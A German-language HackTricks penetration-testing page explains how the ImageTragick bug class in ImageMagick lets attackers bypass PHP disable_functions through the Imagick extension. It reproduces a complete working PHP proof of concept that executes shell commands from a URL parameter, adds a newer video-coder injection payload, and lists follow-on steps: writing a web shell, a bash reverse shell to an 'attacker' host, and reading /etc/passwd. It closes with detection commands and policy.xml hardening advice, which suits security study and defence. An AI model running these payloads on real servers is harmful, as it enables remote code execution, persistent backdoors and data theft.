Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Die bekannte ImageTragick Familie von Bugs (CVE-2016-3714 u.a.) ermöglicht es einem Angreifer, die zugrunde liegende ImageMagick-Binary über manipulierte MVG/SVG-Eingaben zu erreichen. Wenn die PHP-Erweiterung Imagick vorhanden ist, kann dies missbraucht werden, um Shell-Befehle auszuführen, selbst wenn jede ausführungsorientierte PHP-Funktion mit
disable_functionsauf die schwarze Liste gesetzt ist.Der ursprüngliche PoC, veröffentlicht von RicterZ (Chaitin Security Research Lab) im Mai 2016, wird unten wiedergegeben. Die Technik wird immer noch regelmäßig bei zeitgenössischen PHP 7/8-Audits angetroffen, da viele Shared-Hosting-Anbieter PHP einfach ohne
exec/systemkompilieren, aber eine veraltete Imagick + ImageMagick-Kombination beibehalten.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Warum funktioniert es?
Imagick::readImage()startet transparent das ImageMagick Delegate (convert/magick) Binary.- Das MVG-Skript setzt das fill auf eine externe URI. Wenn ein doppeltes Anführungszeichen (
") injiziert wird, wird der Rest der Zeile von/bin/sh ‑cinterpretiert, das ImageMagick intern verwendet → willkürliche Shell-Ausführung. - Alles geschieht außerhalb des PHP-Interpreters, daher werden
disable_functions, open_basedir,safe_mode(in PHP 5.4 entfernt) und ähnliche Einschränkungen im Prozess vollständig umgangen.
Status 2025 – es ist immer noch relevant
- Jede Imagick-Version, die auf einem verwundbaren ImageMagick-Backend basiert, bleibt ausnutzbar. In Labortests funktioniert dasselbe Payload auf PHP 8.3 mit Imagick 3.7.0 und ImageMagick 7.1.0-51, das ohne eine gehärtete
policy.xmlkompiliert wurde. - Seit 2020 wurden mehrere zusätzliche Command-Injection-Vektoren gefunden (
video:pixel-format,ps:,text:Codierer…). Zwei aktuelle öffentliche Beispiele sind: - CVE-2020-29599 – Shell-Injection über den text: Codierer.
- GitHub-Issue #6338 (2023) – Injection im video: Delegate.
Wenn das Betriebssystem ImageMagick < 7.1.1-11 (oder 6.x < 6.9.12-73) ohne eine restriktive Richtliniendatei ausliefert, ist die Ausnutzung unkompliziert.
Moderne Payload-Varianten
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Andere nützliche Primitiven während CTFs / realen Einsätzen:
- Dateischreiben –
... > /var/www/html/shell.php(Web-Shell außerhalb von open_basedir schreiben) - Reverse Shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - Auflisten –
id; uname -a; cat /etc/passwd
Schnelle Erkennung & Auflistung
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Wenn die Ausgabe zeigt, dass die MVG oder URL Coder aktiviert sind, ist das Ziel wahrscheinlich ausnutzbar.
Minderung
- Patch/Upgrade – Verwenden Sie ImageMagick ≥ 7.1.1-11 (oder die neueste 6.x LTS) und Imagick ≥ 3.7.2.
- Härten Sie
policy.xml– explizit deaktivieren Sie hochriskante Coder:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Entfernen Sie die Erweiterung in nicht vertrauenswürdigen Hosting-Umgebungen. In den meisten Web-Stacks ist
GDoderImagicknicht unbedingt erforderlich. - Behandeln Sie
disable_functionsnur als Verteidigung in der Tiefe – niemals als primären Sandbox-Mechanismus.
Referenzen
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

